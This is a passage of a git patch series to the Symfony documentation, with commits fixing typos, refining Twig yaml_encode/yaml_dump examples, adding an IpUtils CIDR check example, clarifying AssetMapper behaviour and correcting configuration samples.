type }}.', )] - protected int $age; + protected $age; #[Assert\Type(type: ['alpha', 'digit'])] - protected string $accessCode; + protected $accessCode; } .. code-block:: yaml From d7071c7ed801a36963d0e4535a16532f778b7726 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 23 Jul 2024 16:19:09 +0200 Subject: [PATCH 334/615] Minor tweak --- reference/constraints/Type.rst | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst index 732247e0b5a..b0a3dad4552 100644 --- a/reference/constraints/Type.rst +++ b/reference/constraints/Type.rst @@ -14,7 +14,11 @@ Validator :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator` Basic Usage ----------- -This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``, +This constraint should be applied to untyped variables/properties. If a property +or variable is typed and you pass a value of a different type, PHP will throw an +exception before this constraint is checked. + +The following example checks if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``, ``firstName`` is of type ``string`` (using :phpfunction:`is_string` PHP function), ``age`` is an ``integer`` (using :phpfunction:`is_int` PHP function) and ``accessCode`` contains either only letters or only digits (using From 346ea4bc6bf67bbaa6c0702edfefc1c83a0bfb53 Mon Sep 17 00:00:00 2001 From: sarah-eit <s.fleret@itefficience.com> Date: Thu, 7 Mar 2024 14:24:36 +0100 Subject: [PATCH 335/615] [Twig] [twig reference] add examples in yaml part --- reference/twig_reference.rst | 73 +++++++++++++++++++++++++++++++++++- 1 file changed, 71 insertions(+), 2 deletions(-) diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst index 97ee6a57185..fdb9e27ccf2 100644 --- a/reference/twig_reference.rst +++ b/reference/twig_reference.rst @@ -483,8 +483,43 @@ yaml_encode ``dumpObjects`` *(optional)* **type**: ``boolean`` **default**: ``false`` -Transforms the input into YAML syntax. See :ref:`components-yaml-dump` for -more information. +Transforms the input into YAML syntax. + +The ``inline`` argument is the level where you switch to inline YAML: + +.. code-block:: twig + + {% set array = { + 'a': { + 'c': 'e' + }, + 'b': { + 'd': 'f' + } + } %} + + {{ array|yaml_encode(inline = 0) }} + {# output: { a: { c: e }, b: { d: f } } #} + + {{ array|yaml_encode(inline = 1) }} + {# output: a: { c: e } b: { d: f } #} + +The ``dumpObjects`` argument is used to dump objects:: + + // ... + $object = new \stdClass(); + $object->foo = 'bar'; + // ... + +.. code-block:: twig + + {{ object|yaml_encode(dumpObjects = false) }} + {# output: null #} + + {{ object|yaml_encode(dumpObjects = true) }} + {# output: !php/object 'O:8:"stdClass":1:{s:5:"foo";s:7:"bar";}' #} + +See :ref:`components-yaml-dump` for more information. yaml_dump ~~~~~~~~~ @@ -503,6 +538,40 @@ yaml_dump Does the same as `yaml_encode() <yaml_encode>`_, but includes the type in the output. +The ``inline`` argument is the level where you switch to inline YAML: + +.. code-block:: twig + + {% set array = { + 'a': { + 'c': 'e' + }, + 'b': { + 'd': 'f' + } + } %} + + {{ array|yaml_dump(inline = 0) }} + {# output: %array% { a: { c: e }, b: { d: f } } #} + + {{ array|yaml_dump(inline = 1) }} + {# output: %array% a: { c: e } b: { d: f } #} + +The ``dumpObjects`` argument is used to dump objects:: + + // ... + $object = new \stdClass(); + $object->foo = 'bar'; + // ... + +.. code-block:: twig + + {{ object|yaml_dump(dumpObjects = false) }} + {# output: %object% null #} + + {{ object|yaml_dump(dumpObjects = true) }} + {# output: %object% !php/object 'O:8:"stdClass":1:{s:3:"foo";s:3:"bar";}' #} + abbr_class ~~~~~~~~~~ From 56d08154cf856b47fd6611996d34e01d0b62e6a0 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 23 Jul 2024 17:16:21 +0200 Subject: [PATCH 336/615] Minor tweaks --- reference/twig_reference.rst | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst index fdb9e27ccf2..4a51940b96e 100644 --- a/reference/twig_reference.rst +++ b/reference/twig_reference.rst @@ -485,7 +485,7 @@ yaml_encode Transforms the input into YAML syntax. -The ``inline`` argument is the level where you switch to inline YAML: +The ``inline`` argument is the level where the generated output switches to inline YAML: .. code-block:: twig @@ -499,12 +499,15 @@ The ``inline`` argument is the level where you switch to inline YAML: } %} {{ array|yaml_encode(inline = 0) }} - {# output: { a: { c: e }, b: { d: f } } #} + {# output: + { a: { c: e }, b: { d: f } } #} {{ array|yaml_encode(inline = 1) }} - {# output: a: { c: e } b: { d: f } #} + {# output: + a: { c: e } + b: { d: f } #} -The ``dumpObjects`` argument is used to dump objects:: +The ``dumpObjects`` argument enables the dumping of PHP objects:: // ... $object = new \stdClass(); @@ -538,7 +541,7 @@ yaml_dump Does the same as `yaml_encode() <yaml_encode>`_, but includes the type in the output. -The ``inline`` argument is the level where you switch to inline YAML: +The ``inline`` argument is the level where the generated output switches to inline YAML: .. code-block:: twig @@ -552,12 +555,15 @@ The ``inline`` argument is the level where you switch to inline YAML: } %} {{ array|yaml_dump(inline = 0) }} - {# output: %array% { a: { c: e }, b: { d: f } } #} + {# output: + %array% { a: { c: e }, b: { d: f } } #} {{ array|yaml_dump(inline = 1) }} - {# output: %array% a: { c: e } b: { d: f } #} + {# output: + %array% a: { c: e } + b: { d: f } #} -The ``dumpObjects`` argument is used to dump objects:: +The ``dumpObjects`` argument enables the dumping of PHP objects:: // ... $object = new \stdClass(); From 97bfcfc06cc4bf6043762575ac2db7484eb3fdad Mon Sep 17 00:00:00 2001 From: faissaloux <fwahabali@gmail.com> Date: Sat, 25 Nov 2023 00:30:54 +0100 Subject: [PATCH 337/615] Update `Create Framework / Unit Testing` page --- create_framework/unit_testing.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst index 916711de0ce..e39c96b9035 100644 --- a/create_framework/unit_testing.rst +++ b/create_framework/unit_testing.rst @@ -12,7 +12,7 @@ using `PHPUnit`_. At first, install PHPUnit as a development dependency: .. code-block:: terminal - $ composer require --dev phpunit/phpunit + $ composer require --dev phpunit/phpunit:^9.6 Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``: @@ -21,7 +21,7 @@ Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``: <?xml version="1.0" encoding="UTF-8"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.3/phpunit.xsd" + xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.6/phpunit.xsd" backupGlobals="false" colors="true" bootstrap="vendor/autoload.php" From 6bffd6016e801445a468dfc538fd87aa1826e79e Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Thu, 29 Feb 2024 12:25:00 +0100 Subject: [PATCH 338/615] [AssetMapper] Adding info about deleting compiled assets --- frontend/asset_mapper.rst | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index c8febf65757..8f7ac2c869a 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -81,7 +81,7 @@ Serving Assets in dev vs prod ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In the ``dev`` environment, the URL ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png`` -is handled and returned by your Symfony app. +is handled and returned by your Symfony app - but only if ``public/assets/`` is empty (see below). For the ``prod`` environment, before deploy, you should run: @@ -93,6 +93,11 @@ This will physically copy all the files from your mapped directories to ``public/assets/`` so that they're served directly by your web server. See :ref:`Deployment <asset-mapper-deployment>` for more details. +.. caution:: + + If you compiled your assets on your development machine, you need to delete them again, + in order to make Symfony serve the current versions from ``assets/`` again. + .. tip:: If you need to copy the compiled assets to a different location (e.g. upload From b55c5cb9a42394e7aa0d371fac42a36c844a996a Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 24 Jul 2024 11:26:20 +0200 Subject: [PATCH 339/615] Reword --- frontend/asset_mapper.rst | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index 90e7d2b6033..185fca4f913 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -81,7 +81,7 @@ Serving Assets in dev vs prod ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In the ``dev`` environment, the URL ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png`` -is handled and returned by your Symfony app - but only if ``public/assets/`` is empty (see below). +is handled and returned by your Symfony app. For the ``prod`` environment, before deploy, you should run: @@ -95,8 +95,10 @@ See :ref:`Deployment <asset-mapper-deployment>` for more details. .. caution:: - If you compiled your assets on your development machine, you need to delete them again, - in order to make Symfony serve the current versions from ``assets/`` again. + If you run the ``asset-map:compile`` command on your development machine, + you won't see any changes made to your assets when reloading the page. + To resolve this, delete the contents of the ``public/assets/`` directory. + This will allow your Symfony application to serve those assets dynamically again. .. tip:: From f93bdbe25a58e08958a8504fd57987cb6206cfc8 Mon Sep 17 00:00:00 2001 From: aurac <aurelienadam96@gmail.com> Date: Wed, 24 Jul 2024 11:27:55 +0200 Subject: [PATCH 340/615] Update csrf.rst Fixed a typo --- security/csrf.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/csrf.rst b/security/csrf.rst index 61337e71be4..48e1a09ec2a 100644 --- a/security/csrf.rst +++ b/security/csrf.rst @@ -108,7 +108,7 @@ CSRF Protection in Symfony Forms :doc:`Symfony Forms </forms>` include CSRF tokens by default and Symfony also checks them automatically for you. So, when using Symfony Forms, you don't have -o do anything to be protected against CSRF attacks. +to do anything to be protected against CSRF attacks. .. _form-csrf-customization: From 7bb3860a2eb3aeab02a9d769430a07c53bdb9844 Mon Sep 17 00:00:00 2001 From: Vincent Amstoutz <vincent.amstoutz@outlook.com> Date: Sat, 24 Feb 2024 16:40:36 +0100 Subject: [PATCH 341/615] Fix debug config reference dump_destination --- reference/configuration/debug.rst | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst index 482396d2ae2..ddbf9365046 100644 --- a/reference/configuration/debug.rst +++ b/reference/configuration/debug.rst @@ -95,8 +95,13 @@ Typically, you would set this to ``php://stderr``: .. code-block:: php // config/packages/debug.php - $container->loadFromExtension('debug', [ - 'dump_destination' => 'php://stderr', - ]); + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + + return static function (ContainerConfigurator $container): void { + $container->extension('debug', [ + 'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%', + ]); + }; + Configure it to ``"tcp://%env(VAR_DUMPER_SERVER)%"`` in order to use the :ref:`ServerDumper feature <var-dumper-dump-server>`. From 17102f9274349edb3cb9c662edd9d5888b92e5ce Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 25 Jul 2024 09:16:06 +0200 Subject: [PATCH 342/615] Fix a PHP config example --- reference/configuration/debug.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst index ddbf9365046..95976cad580 100644 --- a/reference/configuration/debug.rst +++ b/reference/configuration/debug.rst @@ -95,7 +95,7 @@ Typically, you would set this to ``php://stderr``: .. code-block:: php // config/packages/debug.php - use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + namespace Symfony\Component\DependencyInjection\Loader\Configurator; return static function (ContainerConfigurator $container): void { $container->extension('debug', [ From 28a4853bec254ee300d9d00f177a2e7c6d83d0e9 Mon Sep 17 00:00:00 2001 From: Severin J <48485375+sevjan@users.noreply.github.com> Date: Thu, 25 Jul 2024 11:48:28 +0200 Subject: [PATCH 343/615] style: Typo in database.rst title --- testing/database.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/testing/database.rst b/testing/database.rst index 64095eec01b..bbf709801ba 100644 --- a/testing/database.rst +++ b/testing/database.rst @@ -1,4 +1,4 @@ -How to Test A Doctrine Repository +How to Test a Doctrine Repository ================================= .. seealso:: From c6c0908067d1d1fd2bd0a72d478018eca4c22069 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Sun, 28 Jul 2024 12:33:44 +0200 Subject: [PATCH 344/615] fix dump destination value in PHP config --- reference/configuration/debug.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst index 95976cad580..f33b3f3ba9a 100644 --- a/reference/configuration/debug.rst +++ b/reference/configuration/debug.rst @@ -99,7 +99,7 @@ Typically, you would set this to ``php://stderr``: return static function (ContainerConfigurator $container): void { $container->extension('debug', [ - 'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%', + 'dump_destination' => 'php://stderr', ]); }; From eb8cf60af1a8aedd9a7f34a420485a0d6fcd8ac1 Mon Sep 17 00:00:00 2001 From: Severin J <48485375+sevjan@users.noreply.github.com> Date: Mon, 29 Jul 2024 11:43:32 +0200 Subject: [PATCH 345/615] style: Typo in content title --- testing/database.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/testing/database.rst b/testing/database.rst index bbf709801ba..6c337ee07a3 100644 --- a/testing/database.rst +++ b/testing/database.rst @@ -89,7 +89,7 @@ the employee which gets returned by the ``Repository``, which itself gets returned by the ``EntityManager``. This way, no real class is involved in testing. -Functional Testing of A Doctrine Repository +Functional Testing of a Doctrine Repository ------------------------------------------- In :ref:`functional tests <functional-tests>` you'll make queries to the From 10abade6df61b95c776301daa30876f4906c4fca Mon Sep 17 00:00:00 2001 From: Dennis de Best <dennis@debest.fr> Date: Fri, 5 Jul 2024 11:56:01 +0200 Subject: [PATCH 346/615] Update configuration.rst Fix $containerConfigurator parameter name in loadExtension function --- bundles/configuration.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bundles/configuration.rst b/bundles/configuration.rst index 4efba904b0e..ab15675105f 100644 --- a/bundles/configuration.rst +++ b/bundles/configuration.rst @@ -97,7 +97,7 @@ class, you can add all the logic related to processing the configuration in that // the "$config" variable is already merged and processed so you can // use it directly to configure the service container (when defining an // extension class, you also have to do this merging and processing) - $containerConfigurator->services() + $container->services() ->get('acme_social.twitter_client') ->arg(0, $config['twitter']['client_id']) ->arg(1, $config['twitter']['client_secret']) From 24a61bdf3663a5dd47f322967a28eae70f0b9dd6 Mon Sep 17 00:00:00 2001 From: Damien Fernandes <damien.fernandes24@gmail.com> Date: Mon, 29 Jul 2024 17:18:13 +0200 Subject: [PATCH 347/615] docs(http-foundation): check if ip is in cidr subnet --- components/http_foundation.rst | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/components/http_foundation.rst b/components/http_foundation.rst index e5d8be12b2d..9fd5384e366 100644 --- a/components/http_foundation.rst +++ b/components/http_foundation.rst @@ -353,6 +353,27 @@ analysis purposes. Use the ``anonymize()`` method from the $anonymousIpv6 = IpUtils::anonymize($ipv6); // $anonymousIpv6 = '2a01:198:603:10::' + +Check if an IP belongs to a CIDR subnet +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you need to know if an IP address is included in a CIDR subnet, you can +use the ``checkIp`` method from the +:class:`Symfony\\Component\\HttpFoundation\\IpUtils` to do that:: + + use Symfony\Component\HttpFoundation\IpUtils; + + $ipv4 = '192.168.1.56'; + $CIDRv4 = '192.168.1.0/16'; + $isIpInCIDRv4 = IpUtils::checkIp($ipv4, $CIDRv4); + // $isIpInCIDRv4 = true + + $ipv6 = '2001:db8:abcd:1234::1'; + $CIDRv6 = '2001:db8:abcd::/48'; + $isIpInCIDRv6 = IpUtils::checkIp($ipv6, $CIDRv6); + // $isIpInCIDRv6 = true + + Accessing other Data ~~~~~~~~~~~~~~~~~~~~ From fdcb2708b28d44934a6bf0044ef788af0aef1f19 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 30 Jul 2024 17:57:57 +0200 Subject: [PATCH 348/615] Minor tweak in the setup page --- setup.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.rst b/setup.rst index 11a443f44e1..2404c5c3738 100644 --- a/setup.rst +++ b/setup.rst @@ -35,7 +35,7 @@ requirements. Open your console terminal and run this command: .. note:: - The Symfony CLI is written in Go and you can contribute to it in the + The Symfony CLI is open source, and you can contribute to it in the `symfony-cli/symfony-cli GitHub repository`_. .. _creating-symfony-applications: From 4f733e05a80734e53e3b577a76947b6f3648d257 Mon Sep 17 00:00:00 2001 From: Franz Holzinger <franz.holzinger@festwein.de> Date: Wed, 31 Jul 2024 16:12:53 +0200 Subject: [PATCH 349/615] example function param 1 requires string An int causes a PHP error argument symfony#1 ($line) must be of type int, string given, --- components/var_dumper.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/var_dumper.rst b/components/var_dumper.rst index bc14c970fa9..56da6d2f5da 100644 --- a/components/var_dumper.rst +++ b/components/var_dumper.rst @@ -627,7 +627,7 @@ For example, to get a dump as a string in a variable, you can do:: $dumper->dump( $cloner->cloneVar($variable), - function (int $line, int $depth) use (&$output): void { + function (string $line, int $depth) use (&$output): void { // A negative depth means "end of dump" if ($depth >= 0) { // Adds a two spaces indentation to the line From 40dffcb4b4aae88493ac22240c60793bf59dabee Mon Sep 17 00:00:00 2001 From: Glen <glen.jaguin@gmail.com> Date: Wed, 31 Jul 2024 20:40:42 +0200 Subject: [PATCH 350/615] Fix ScheduledStamp FQN --- components/messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/messenger.rst b/components/messenger.rst index 8ec25d2c75f..c56c2bace82 100644 --- a/components/messenger.rst +++ b/components/messenger.rst @@ -162,7 +162,7 @@ Here are some important envelope stamps that are shipped with the Symfony Messen to configure the validation groups used when the validation middleware is enabled. * :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`, an internal stamp when a message fails due to an exception in the handler. -* :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`, +* :class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp`, a stamp that marks the message as produced by a scheduler. This helps differentiate it from messages created "manually". You can learn more about it in the :doc:`Scheduler documentation </scheduler>`. From f68a326e35f85061813257b71bf2cd7f847f5afd Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Fri, 2 Aug 2024 12:25:50 +0200 Subject: [PATCH 351/615] clarify how to disable client-side validation using the Regex constraint --- reference/constraints/Regex.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst index 6c7f34a5422..d57ded2bb77 100644 --- a/reference/constraints/Regex.rst +++ b/reference/constraints/Regex.rst @@ -193,7 +193,7 @@ Options ``htmlPattern`` ~~~~~~~~~~~~~~~ -**type**: ``string|boolean`` **default**: ``null`` +**type**: ``string|null`` **default**: ``null`` This option specifies the pattern to use in the HTML5 ``pattern`` attribute. You usually don't need to specify this option because by default, the constraint @@ -289,7 +289,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option: } } -Setting ``htmlPattern`` to false will disable client side validation. +Setting ``htmlPattern`` to the empty string will disable client side validation. ``match`` ~~~~~~~~~ From a04e07c05a9c81e8d09b083953b92dcdf2678382 Mon Sep 17 00:00:00 2001 From: Hugo Posnic <hugo.posnic@protonmail.com> Date: Wed, 26 Jun 2024 15:19:59 +0200 Subject: [PATCH 352/615] Fix redis adapter config to work with tags --- cache.rst | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/cache.rst b/cache.rst index d5a7082b748..c073a98387f 100644 --- a/cache.rst +++ b/cache.rst @@ -618,8 +618,7 @@ to enable this feature. This could be added by using the following configuration cache: pools: my_cache_pool: - adapter: cache.adapter.redis - tags: true + adapter: cache.adapter.redis_tag_aware .. code-block:: xml From 8cfb8e0642bfca5b8b2373e1cfbef81fe78ce8ed Mon Sep 17 00:00:00 2001 From: Michael Hirschler <michael@hirschler.me> Date: Mon, 29 Jul 2024 09:35:15 +0200 Subject: [PATCH 353/615] [DomCrawler] fixes typo `Form::getFields()` -> `Form::getFiles()` --- testing.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/testing.rst b/testing.rst index 5116d53a04c..c00ea9de8c8 100644 --- a/testing.rst +++ b/testing.rst @@ -917,7 +917,7 @@ The second optional argument is used to override the default form field values. If you need access to the :class:`Symfony\\Component\\DomCrawler\\Form` object that provides helpful methods specific to forms (such as ``getUri()``, -``getValues()`` and ``getFields()``) use the ``Crawler::selectButton()`` method instead:: +``getValues()`` and ``getFiles()``) use the ``Crawler::selectButton()`` method instead:: $client = static::createClient(); $crawler = $client->request('GET', '/post/hello-world'); From e58228e790fe9ea9f8f88e0ed45de990253b23f4 Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Mon, 5 Aug 2024 13:37:31 +0200 Subject: [PATCH 354/615] Update reproducer.rst: Minor rewording Reason: Bugs aren't only fixed by Core Developers... --- contributing/code/reproducer.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/contributing/code/reproducer.rst b/contributing/code/reproducer.rst index 6efae2a8ee8..3392ca87035 100644 --- a/contributing/code/reproducer.rst +++ b/contributing/code/reproducer.rst @@ -2,8 +2,8 @@ Creating a Bug Reproducer ========================= The main Symfony code repository receives thousands of issues reports per year. -Some of those issues are easy to understand and the Symfony Core developers can -fix them without any other information. However, other issues are much harder to +Some of those issues are easy to understand and can +be fixed without any other information. However, other issues are much harder to understand because developers can't reproduce them in their computers. That's when we'll ask you to create a "bug reproducer", which is the minimum amount of code needed to make the bug appear when executed. From cc528c5d15c73b5c41299af2f3b7f8253e9208d7 Mon Sep 17 00:00:00 2001 From: Etshy <garbuio.jonas@gmail.com> Date: Tue, 6 Aug 2024 13:09:53 +0200 Subject: [PATCH 355/615] Update Cidr.rst Update netmaskMax type to match the type in the code. --- reference/constraints/Cidr.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst index bb51a4826be..b90f07ea1c8 100644 --- a/reference/constraints/Cidr.rst +++ b/reference/constraints/Cidr.rst @@ -112,7 +112,7 @@ It's a constraint for the lowest value a valid netmask may have. ``netmaskMax`` ~~~~~~~~~~~~~~ -**type**: ``string`` **default**: ``32`` for IPv4 or ``128`` for IPv6 +**type**: ``integer`` **default**: ``32`` for IPv4 or ``128`` for IPv6 It's a constraint for the biggest value a valid netmask may have. From 6f8b6fede02c122a9052a25436584af824200b5b Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Tue, 6 Aug 2024 14:58:20 +0200 Subject: [PATCH 356/615] ensure consistency of Symfony and standalone session code block --- session.rst | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/session.rst b/session.rst index c03d9435baf..a212acf9993 100644 --- a/session.rst +++ b/session.rst @@ -171,15 +171,13 @@ For example, imagine you're processing a :doc:`form </forms>` submission:: // add flash messages $flashes->add( - 'warning', - 'Your config file is writable, it should be set read-only' + 'notice', + 'Your changes were saved' ); - $flashes->add('error', 'Failed to update name'); - $flashes->add('error', 'Another error'); -After processing the request, the controller sets a flash message in the session -and then redirects. The message key (``warning`` and ``error`` in this example) can be anything: -you'll use this key to retrieve the message. +After processing the request, the controller sets a flash message in the +session and then redirects. The message key (``notice`` in this example) +can be anything. You'll use this key to retrieve the message. In the template of the next page (or even better, in your base layout template), read any flash messages from the session using the ``flashes()`` method provided From 248138d04e8656f8779c834df4a43c9c6ae90fdd Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 7 Aug 2024 16:53:26 +0200 Subject: [PATCH 357/615] Minor tweaks --- components/http_foundation.rst | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/components/http_foundation.rst b/components/http_foundation.rst index 74589f0fcad..d24cb8032f0 100644 --- a/components/http_foundation.rst +++ b/components/http_foundation.rst @@ -353,13 +353,11 @@ analysis purposes. Use the ``anonymize()`` method from the $anonymousIpv6 = IpUtils::anonymize($ipv6); // $anonymousIpv6 = '2a01:198:603:10::' - -Check if an IP belongs to a CIDR subnet +Check If an IP Belongs to a CIDR Subnet ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -If you need to know if an IP address is included in a CIDR subnet, you can -use the ``checkIp`` method from the -:class:`Symfony\\Component\\HttpFoundation\\IpUtils` to do that:: +If you need to know if an IP address is included in a CIDR subnet, you can use +the ``checkIp()`` method from :class:`Symfony\\Component\\HttpFoundation\\IpUtils`:: use Symfony\Component\HttpFoundation\IpUtils; @@ -373,7 +371,6 @@ use the ``checkIp`` method from the $isIpInCIDRv6 = IpUtils::checkIp($ipv6, $CIDRv6); // $isIpInCIDRv6 = true - Accessing other Data ~~~~~~~~~~~~~~~~~~~~ From 2a81676897706453c9d7ee8f959cfaaaa94f5938 Mon Sep 17 00:00:00 2001 From: Hugo Alliaume <hugo@alliau.me> Date: Sat, 18 May 2024 08:52:13 +0200 Subject: [PATCH 358/615] [AssetMapper] Add FAQ for code lint/format --- frontend/asset_mapper.rst | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index 185fca4f913..8fe46c020b6 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -799,6 +799,12 @@ files) with component, as those must be used in a build system. See the `UX Vue.js Documentation`_ for more details about using with the AssetMapper component. +Can I lint and format my code? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Yes! You can use `kocal/biome-js-bundle`_ to lint and format your front assets. +It's ultra-fast and requires no configuration to handle your JavaScript, TypeScript, CSS, etc. files. + .. _asset-mapper-ts: Using TypeScript @@ -1170,3 +1176,4 @@ command as part of your CI to be warned anytime a new vulnerability is found. .. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file .. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP .. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling +.. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle From 601f578a4d438c1bb746b9c991f571f4ed83758b Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 8 Aug 2024 10:13:16 +0200 Subject: [PATCH 359/615] Minor reword --- frontend/asset_mapper.rst | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index 8fe46c020b6..9c9878a54cd 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -799,11 +799,12 @@ files) with component, as those must be used in a build system. See the `UX Vue.js Documentation`_ for more details about using with the AssetMapper component. -Can I lint and format my code? +Can I Lint and Format My Code? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Yes! You can use `kocal/biome-js-bundle`_ to lint and format your front assets. -It's ultra-fast and requires no configuration to handle your JavaScript, TypeScript, CSS, etc. files. +Not with AssetMapper, but you can install `kocal/biome-js-bundle`_ in your project +to lint and format your front-end assets. It's much faster than alternatives like +Prettier and requires no configuration to handle your JavaScript, TypeScript and CSS files. .. _asset-mapper-ts: From f206ee76de524531dfe2e62c375bfd51b87ec48e Mon Sep 17 00:00:00 2001 From: Baptiste Lafontaine <magnetik@users.noreply.github.com> Date: Thu, 8 Aug 2024 12:03:56 +0200 Subject: [PATCH 360/615] minor : the process method from CompilerPassInterface should be public Since the method is defined in CompilerPassInterface as public, it should be defined as public in the Kernel. --- testing.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/testing.rst b/testing.rst index c00ea9de8c8..281f8c45ad8 100644 --- a/testing.rst +++ b/testing.rst @@ -651,7 +651,7 @@ to remove the ``kernel.reset`` tag from some services in your test environment:: // ... - protected function process(ContainerBuilder $container): void + public function process(ContainerBuilder $container): void { if ('test' === $this->environment) { // prevents the security token to be cleared From ce138921bd92a98340ed20ba16b6ebe0520d3ef4 Mon Sep 17 00:00:00 2001 From: Philippe Chabbert <chab.philippe@gmail.com> Date: Thu, 8 Aug 2024 11:42:42 +0200 Subject: [PATCH 361/615] doc: add missing use statements --- configuration/multiple_kernels.rst | 3 +++ 1 file changed, 3 insertions(+) diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst index 4cef8b0d09e..512ea57f24d 100644 --- a/configuration/multiple_kernels.rst +++ b/configuration/multiple_kernels.rst @@ -117,7 +117,9 @@ resources:: // src/Kernel.php namespace Shared; + use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait; use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Component\HttpKernel\Kernel as BaseKernel; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; class Kernel extends BaseKernel @@ -258,6 +260,7 @@ the application ID to run under CLI context:: // bin/console use Shared\Kernel; + use Symfony\Bundle\FrameworkBundle\Console\Application; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; From ed5124230a9e8bdacad8c9ab7459f0e2785e281a Mon Sep 17 00:00:00 2001 From: 